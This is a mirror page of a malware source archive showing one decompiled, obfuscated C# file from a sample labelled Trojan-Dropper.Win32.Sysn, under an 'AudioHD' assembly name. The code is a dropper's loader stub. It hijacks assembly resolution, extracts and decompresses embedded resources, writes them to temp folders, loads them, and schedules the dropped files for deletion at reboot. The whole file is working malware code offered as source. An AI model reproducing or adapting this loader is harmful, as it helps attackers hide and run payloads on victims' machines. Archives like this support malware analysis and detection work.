mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
302 lines
10 KiB
C#
302 lines
10 KiB
C#
// Decompiled with JetBrains decompiler
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// Type: .
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// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
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using \u0001;
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using System;
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using System.Collections;
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using System.Diagnostics;
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using System.IO;
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using System.Reflection;
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using System.Runtime.CompilerServices;
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using System.Runtime.InteropServices;
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using System.Text;
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namespace \u0002
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{
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internal sealed class \u0001
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{
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private static Hashtable \u0001 = new Hashtable();
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[DllImport("kernel32", EntryPoint = "MoveFileEx")]
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private static extern bool \u000F([In] string obj0, [In] string obj1, [In] int obj2);
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[SpecialName]
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internal static bool \u000F()
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{
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try
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{
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string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower();
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if (lower == \u0004.\u000F(289))
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return true;
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if (lower == \u0004.\u000F(302))
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return true;
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}
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catch (Exception ex)
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{
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}
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return false;
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}
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internal static void \u000F()
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{
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try
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{
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AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0001.\u000F);
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if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0001.\u000F())
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return;
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string[] strArray = \u0004.\u000F(323).Split(',');
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for (int index = 0; index < strArray.Length - 1; index += 2)
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{
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try
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{
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string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index]));
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string str2 = strArray[index + 1];
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if (str2.Length > 0)
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{
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if (str2[0] == '[')
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{
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int num = str2.IndexOf(']');
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string str3 = str2.Substring(1, num - 1);
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string name = str2.Substring(num + 1);
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bool flag = str3.IndexOf('z') >= 0;
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if (str3.IndexOf('f') >= 0)
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{
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Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
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if (manifestResourceStream != null)
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{
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int length = (int) manifestResourceStream.Length;
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byte[] buffer = new byte[length];
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manifestResourceStream.Read(buffer, 0, length);
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if (flag)
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buffer = \u0007.\u000F(buffer);
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try
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{
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string path1 = string.Format(\u0004.\u000F(541), (object) Path.GetTempPath(), (object) name);
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Directory.CreateDirectory(path1);
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\u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(str1);
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string path2 = path1 + obj.\u0001 + \u0004.\u000F(554);
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if (!File.Exists(path2))
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{
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FileStream fileStream = File.OpenWrite(path2);
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fileStream.Write(buffer, 0, buffer.Length);
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fileStream.Close();
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}
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\u0002.\u0002.\u000F(path2);
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try
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{
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File.Delete(path2);
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Directory.Delete(path1);
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}
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catch
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{
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}
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}
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catch (Exception ex)
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{
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}
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}
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}
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}
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}
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}
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catch (Exception ex)
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{
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}
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}
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}
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catch (Exception ex)
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{
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}
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}
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internal static Assembly \u000F([In] object obj0, [In] ResolveEventArgs obj1)
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{
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\u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(obj1.Name);
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string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u000F(false)));
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string[] strArray = \u0004.\u000F(323).Split(',');
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string str1 = string.Empty;
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bool flag1 = false;
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bool flag2 = false;
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bool flag3 = false;
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for (int index = 0; index < strArray.Length - 1; index += 2)
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{
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if (strArray[index] == base64String1)
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{
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str1 = strArray[index + 1];
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break;
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}
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}
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if (str1.Length == 0 && obj.\u0003.Length == 0)
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{
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string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
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for (int index = 0; index < strArray.Length - 1; index += 2)
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{
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if (strArray[index] == base64String2)
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{
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str1 = strArray[index + 1];
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break;
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}
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}
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}
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if (str1.Length > 0)
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{
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if (str1[0] == '[')
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{
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int num = str1.IndexOf(']');
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string str2 = str1.Substring(1, num - 1);
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flag1 = str2.IndexOf('z') >= 0;
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flag2 = str2.IndexOf('g') >= 0;
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flag3 = str2.IndexOf('t') >= 0;
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str1 = str1.Substring(num + 1);
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}
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lock (\u0002.\u0001.\u0001)
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{
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if (\u0002.\u0001.\u0001.ContainsKey((object) str1))
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return (Assembly) \u0002.\u0001.\u0001[(object) str1];
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}
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Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
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if (manifestResourceStream != null)
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{
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int length = (int) manifestResourceStream.Length;
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byte[] numArray = new byte[length];
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manifestResourceStream.Read(numArray, 0, length);
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if (flag1)
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numArray = \u0007.\u000F(numArray);
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if (flag2)
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{
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try
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{
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string path1 = string.Format(\u0004.\u000F(541), (object) Path.GetTempPath(), (object) str1);
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Directory.CreateDirectory(path1);
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string path2 = path1 + obj.\u0001 + \u0004.\u000F(554);
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if (!File.Exists(path2))
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{
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Assembly assembly = (Assembly) null;
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FileStream fileStream = File.OpenWrite(path2);
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fileStream.Write(numArray, 0, numArray.Length);
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fileStream.Close();
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if (\u0002.\u0002.\u000F(path2))
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assembly = Assembly.Load(obj.\u000F(true));
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File.Delete(path2);
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Directory.Delete(path1);
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if ((object) assembly != null)
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{
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lock (\u0002.\u0001.\u0001)
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{
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if (\u0002.\u0001.\u0001.ContainsKey((object) str1))
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assembly = (Assembly) \u0002.\u0001.\u0001[(object) str1];
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else
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\u0002.\u0001.\u0001.Add((object) str1, (object) assembly);
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}
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return assembly;
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}
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}
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}
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catch
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{
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}
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}
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Assembly assembly1 = (Assembly) null;
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if (!flag3)
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{
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try
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{
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assembly1 = Assembly.Load(numArray);
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}
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catch (FileLoadException ex)
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{
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flag3 = true;
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}
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catch (BadImageFormatException ex)
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{
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flag3 = true;
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}
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}
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if (flag3)
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{
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try
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{
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string path3 = string.Format(\u0004.\u000F(541), (object) Path.GetTempPath(), (object) str1);
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Directory.CreateDirectory(path3);
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string path4 = path3 + obj.\u0001 + \u0004.\u000F(554);
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if (!File.Exists(path4))
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{
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FileStream fileStream = File.OpenWrite(path4);
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fileStream.Write(numArray, 0, numArray.Length);
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fileStream.Close();
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\u0002.\u0001.\u000F(path4, (string) null, 4);
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\u0002.\u0001.\u000F(path3, (string) null, 4);
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}
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assembly1 = Assembly.LoadFile(path4);
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}
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catch
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{
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}
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}
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lock (\u0002.\u0001.\u0001)
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\u0002.\u0001.\u0001.Add((object) str1, (object) assembly1);
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return assembly1;
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}
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}
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return (Assembly) null;
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}
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internal struct \u0001
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{
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public string \u0001;
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public Version \u0001;
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public string \u0002;
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public string \u0003;
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public string \u000F([In] bool obj0)
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{
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StringBuilder stringBuilder = new StringBuilder();
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stringBuilder.Append(this.\u0001);
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if (obj0)
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{
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stringBuilder.Append(\u0004.\u000F(563));
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stringBuilder.Append((object) this.\u0001);
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}
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stringBuilder.Append(\u0004.\u000F(580));
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stringBuilder.Append(this.\u0002.Length == 0 ? \u0004.\u000F(597) : this.\u0002);
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stringBuilder.Append(\u0004.\u000F(610));
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stringBuilder.Append(this.\u0003.Length == 0 ? \u0004.\u000F(635) : this.\u0003);
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return stringBuilder.ToString();
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}
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public \u0001([In] string obj0)
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{
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this.\u0001 = new Version();
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this.\u0002 = string.Empty;
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this.\u0003 = string.Empty;
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this.\u0001 = string.Empty;
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string str1 = obj0;
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char[] chArray = new char[1]{ ',' };
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foreach (string str2 in str1.Split(chArray))
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{
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string str3 = str2.Trim();
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if (str3.StartsWith(\u0004.\u000F(644)))
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this.\u0001 = new Version(str3.Substring(8));
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else if (str3.StartsWith(\u0004.\u000F(657)))
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{
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this.\u0002 = str3.Substring(8);
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if (this.\u0002 == \u0004.\u000F(597))
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this.\u0002 = string.Empty;
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}
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else if (str3.StartsWith(\u0004.\u000F(670)))
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{
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this.\u0003 = str3.Substring(15);
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if (this.\u0003 == \u0004.\u000F(635))
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this.\u0003 = string.Empty;
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}
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else
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this.\u0001 = str3;
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}
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}
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}
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}
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}
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